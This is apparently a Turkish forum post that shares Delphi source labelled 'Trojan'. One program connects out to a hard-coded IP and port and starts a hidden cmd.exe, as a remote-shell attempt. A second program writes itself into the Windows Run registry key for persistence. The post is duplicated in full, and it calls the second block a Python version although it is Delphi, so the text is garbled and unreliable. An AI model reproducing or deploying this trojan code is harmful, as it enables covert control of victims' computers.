- 5 Kas 2022
- 67
- 7
bu delphi kodları
program Trojan;
{$APPTYPE CONSOLE}
uses
Windows, WinSock;
const
SERVER_PORT = 1234; // Bağlantı yapılacak port numarası
SERVER_IP = '192.168.0.100'; // Bağlantı yapılacak IP adresi
var
WinSockData: TWSAData;
ClientSocket: TSocket;
ClientAddress: TSockAddrIn;
ExecInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
if WSAStartup(MAKEWORD(2, 2), WinSockData) <> 0 then
begin
Exit;
end;
ClientSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ClientSocket = INVALID_SOCKET then
begin
Exit;
end;
ZeroMemory(@ClientAddress, SizeOf(TSockAddrIn));
ClientAddress.sin_family := AF_INET;
ClientAddress.sin_addr.S_addr := inet_addr(PChar(SERVER_IP));
ClientAddress.sin_port := htons(SERVER_PORT);
if connect(ClientSocket, ClientAddress, SizeOf(ClientAddress)) <> 0 then
begin
Exit;
end;
ZeroMemory(@ExecInfo, SizeOf(TStartupInfo));
ExecInfo.cb := SizeOf(TStartupInfo);
ExecInfo.dwFlags := STARTF_USESHOWWINDOW;
ExecInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, 'cmd.exe', nil, nil, False, 0, nil, nil, ExecInfo, ProcInfo) then
begin
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;
closesocket(ClientSocket);
WSACleanup;
end.
buda python hali
program Trojan;
{$APPTYPE CONSOLE}
uses
Windows;
var
Key: String;
StartupKey: HKEY;
begin
Key := 'Software\Microsoft\Windows\CurrentVersion\Run\';
if RegOpenKey(HKEY_CURRENT_USER, PChar(Key), StartupKey) = ERROR_SUCCESS then
begin
RegSetValueEx(StartupKey, 'Trojan', 0, REG_SZ, PChar(ParamStr(0)), Length(ParamStr(0)) * SizeOf(Char));
RegCloseKey(StartupKey);
end;
end.
program Trojan;
{$APPTYPE CONSOLE}
uses
Windows, WinSock;
const
SERVER_PORT = 1234; // Bağlantı yapılacak port numarası
SERVER_IP = '192.168.0.100'; // Bağlantı yapılacak IP adresi
var
WinSockData: TWSAData;
ClientSocket: TSocket;
ClientAddress: TSockAddrIn;
ExecInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
if WSAStartup(MAKEWORD(2, 2), WinSockData) <> 0 then
begin
Exit;
end;
ClientSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ClientSocket = INVALID_SOCKET then
begin
Exit;
end;
ZeroMemory(@ClientAddress, SizeOf(TSockAddrIn));
ClientAddress.sin_family := AF_INET;
ClientAddress.sin_addr.S_addr := inet_addr(PChar(SERVER_IP));
ClientAddress.sin_port := htons(SERVER_PORT);
if connect(ClientSocket, ClientAddress, SizeOf(ClientAddress)) <> 0 then
begin
Exit;
end;
ZeroMemory(@ExecInfo, SizeOf(TStartupInfo));
ExecInfo.cb := SizeOf(TStartupInfo);
ExecInfo.dwFlags := STARTF_USESHOWWINDOW;
ExecInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, 'cmd.exe', nil, nil, False, 0, nil, nil, ExecInfo, ProcInfo) then
begin
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
CloseHandle(ProcInfo.hProcess);
CloseHandle(ProcInfo.hThread);
end;
closesocket(ClientSocket);
WSACleanup;
end.
buda python hali
program Trojan;
{$APPTYPE CONSOLE}
uses
Windows;
var
Key: String;
StartupKey: HKEY;
begin
Key := 'Software\Microsoft\Windows\CurrentVersion\Run\';
if RegOpenKey(HKEY_CURRENT_USER, PChar(Key), StartupKey) = ERROR_SUCCESS then
begin
RegSetValueEx(StartupKey, 'Trojan', 0, REG_SZ, PChar(ParamStr(0)), Length(ParamStr(0)) * SizeOf(Char));
RegCloseKey(StartupKey);
end;
end.